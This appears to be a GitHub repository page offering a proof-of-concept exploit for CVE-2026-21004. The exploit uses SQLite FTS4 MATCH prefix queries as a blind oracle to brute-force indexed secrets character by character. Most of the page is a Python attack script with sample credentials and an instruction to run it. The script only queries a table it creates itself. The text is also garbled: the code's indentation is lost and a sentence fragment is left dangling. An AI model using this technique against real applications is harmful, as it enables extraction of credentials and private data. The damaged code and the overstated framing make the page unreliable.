george0papasotiriou/cve-2026-21004-sqlite-fts3-match-infoleak-via-query-craftingProof-of-concept exploit for CVE-2026-21004: uses crafted SQLite FTS3/4 MATCH prefix queries as a blind oracle to recover indexed secret data character by character.
# sqlite_fts_leak.py - Creates FTS table and exploits match info
import sqlite3
conn = sqlite3.connect(':memory:')
conn.execute("CREATE VIRTUAL TABLE secrets USING fts4(content TEXT)")
conn.execute("INSERT INTO secrets VALUES ('admin:password123')")
conn.execute("INSERT INTO secrets VALUES ('user:secret456')")
# Attacker guesses characters using FTS MATCH with partial matching
def guess_char(prefix, known):
for c in "abcdefghijklmnopqrstuvwxyz0123456789_:":
query = f'SELECT * FROM secrets WHERE content MATCH ?'
# In FTS4, MATCH can leak whether a term exists; we abuse by searching column directly
try:
cur = conn.execute(query, (f'"{prefix}{c}*"',))
if cur.fetchone():
return c
except:
pass
return None
# Recover the secret character by character
prefix = ""
for _ in range(20):
c = guess_char(prefix, "")
if c is None: break
prefix += c
print(f"Recovered: {prefix}")
An application using SQLite FTS4 exposes a search function that returns results based on a MATCH query. By observing whether a match occurs (or timing differences), an attacker can brute-force the content of the full‑text index character by character, extracting sensitive data.
term*), enabling an attacker to perform a dictionary attack without knowing the full term.Run the exploit:
python sqlite_fts_leak.py
The script progressively recovers the content of the secrets table.